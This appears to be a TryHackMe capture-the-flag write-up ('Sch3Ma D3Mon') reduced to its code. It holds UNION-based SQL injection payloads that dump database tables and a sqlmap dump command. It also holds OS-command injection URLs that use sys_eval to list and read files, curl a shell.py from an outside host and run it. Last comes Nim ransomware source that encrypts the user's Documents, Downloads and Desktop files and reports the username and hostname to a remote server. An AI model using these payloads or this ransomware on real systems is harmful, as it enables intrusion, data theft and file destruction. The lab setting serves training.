TryHack3M: Sch3Ma D3Mon
A guided challenge to learn about SQL injection exploits. -by strategos, MaxRobertson and arebel
Last updated
(http.request or tls.handshake.type eq 1) and !(ssdp)' UNION SELECT 1,2,3,4,product_name FROM unlisted_products -- - 'union select null, null, null, group_concat(table_name, 0x0a), null FROM information_schema.tables WHERE table_schema = database() -- //'UNION SELECT null, null, null, group_concat(0x7c,column_name,0x7c), null FROM information_schema.columns WHERE table_name='unlisted_products' -- //'UNION SELECT null, null, null, group_concat(id,0x7c,product_name,0x7c,product_type,0x7c,description,0x7c,price), null FROM unlisted_products -- //'UNION SELECT null, null, null, group_concat(0x7c,column_name,0x7c), null FROM information_schema.columns WHERE table_name='easter_egg' -- //'UNION SELECT null, null, null, group_concat(0x7c,message,0x7c,url_path), null FROM easter_egg-- //POST /searchproducts.php HTTP/1.1
Host: 10.10.211.168:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://10.10.211.168:8000
Connection: close
Referer: http://10.10.211.168:8000/searchproducts.php
Cookie: PHPSESSID=1c09011c2aa7521e8724e372229bda9d
Upgrade-Insecure-Requests: 1
searchitem=asdf
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/TryHack3M/Sch3Ma D3Mon]
└─$ sqlmap -r search-req.txt --dumphttp://10.10.126.15:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27whoami%27)%20--%20//http://10.10.126.15:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27pwd%27)%20--%20//http://10.10.126.15:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27ls%20/home/receipts%27)%20--%20//http://10.10.126.15:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27cat%20/home/receipts/3000000.txt.gpg%20%27)%20--%20//http://10.10.211.168:8000/os_sqli.php?user=lannister' union SELECT null,null,null,null,sys_eval('ls /usr/bin/python3') -- //&debug=truehttp://10.10.211.168:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27curl%20http://10.8.211.1/shell.py%20-o%20/tmp/shell.py%27)%20--%20//&debug=truehttp://10.10.211.168:8000/os_sqli.php?user=lannister' union SELECT null,null,null,null,sys_eval('python3 /tmp/shell.py') -- //&debug=true'union select null, null, null, group_concat(table_name, 0x0a), null FROM information_schema.tables WHERE table_schema = database() -- //'UNION SELECT null, null, null, group_concat(0x7c,column_name,0x7c), null FROM information_schema.columns WHERE table_name='transactions' -- //'UNION SELECT null, null, null, group_concat(0x7c,bcoin_recipient_address,0x7c,bcoin_sender_address,0x7c,purchase_timestamp,0x7c,transaction_ammount,0x7c,transaction_number), null FROM transactions -- // import os
import strformat
import httpclient
import nimcrypto
import base64
import json
import winim
# Added function to check for the debug mode in the config file
func isDebugEnabled(): bool =
let configFile = getCurrentDir() & DirSep & "config.json" # Assuming JSON format for simplicity
if fileExists(configFile):
let configContent = readFile(configFile)
let configJson = parseJson(configContent)
if "debug" in configJson:
return configJson["debug"].getBool()
return false
func toByteSeq*(str: string): seq[byte] {.inline.} =
@(str.toOpenArrayByte(0, str.high))
proc change_wp(isDebug: bool): void =
if not isDebug:
var client = newHttpClient()
var user = getEnv("USERNAME")
var hostname = getEnv("COMPUTERNAME")
var report_url = fmt"http://172.16.251.121/aaaaa_ransom.jpg?user={user}&hostname={hostname}"
var req = client.getContent(report_url)
var dump = getTempDir() & "paymeboogey.jpg"
writeFile(dump, req)
SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, cast[PVOID](dump.cstring), SPIF_UPDATEINIFILE or SPIF_SENDCHANGE)
proc recursive(path: string, isDebug: bool): void =
for file in walkDirRec path:
let fileSplit = splitFile(file)
let password: string = "myKey"
if fileSplit.ext != ".boogey" and fileSplit.ext != ".ini":
echo fmt"[*] Encrypting: {file}"
var
inFileContents: string = readFile(file)
plaintext: seq[byte] = toByteSeq(inFileContents)
ectx: CTR[aes256]
key: array[aes256.sizeKey, byte]
iv: array[aes256.sizeBlock, byte]
encrypted: seq[byte] = newSeq[byte](len(plaintext))
iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 34, 12]
var expandedKey = sha256.digest(password)
copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))
ectx.init(key, iv)
ectx.encrypt(plaintext, encrypted)
ectx.clear()
if not isDebug:
let encodedCrypted = encode(encrypted)
let finalFile = file & ".boogey"
moveFile(file, finalFile)
writeFile(finalFile, encodedCrypted)
let debugEnabled = isDebugEnabled()
change_wp(debugEnabled)
var path = getHomeDir() & "Documents"
recursive(path, debugEnabled)
path = getHomeDir() & "Downloads"
recursive(path, debugEnabled)
path = getHomeDir() & "Desktop"
recursive(path, debugEnabled)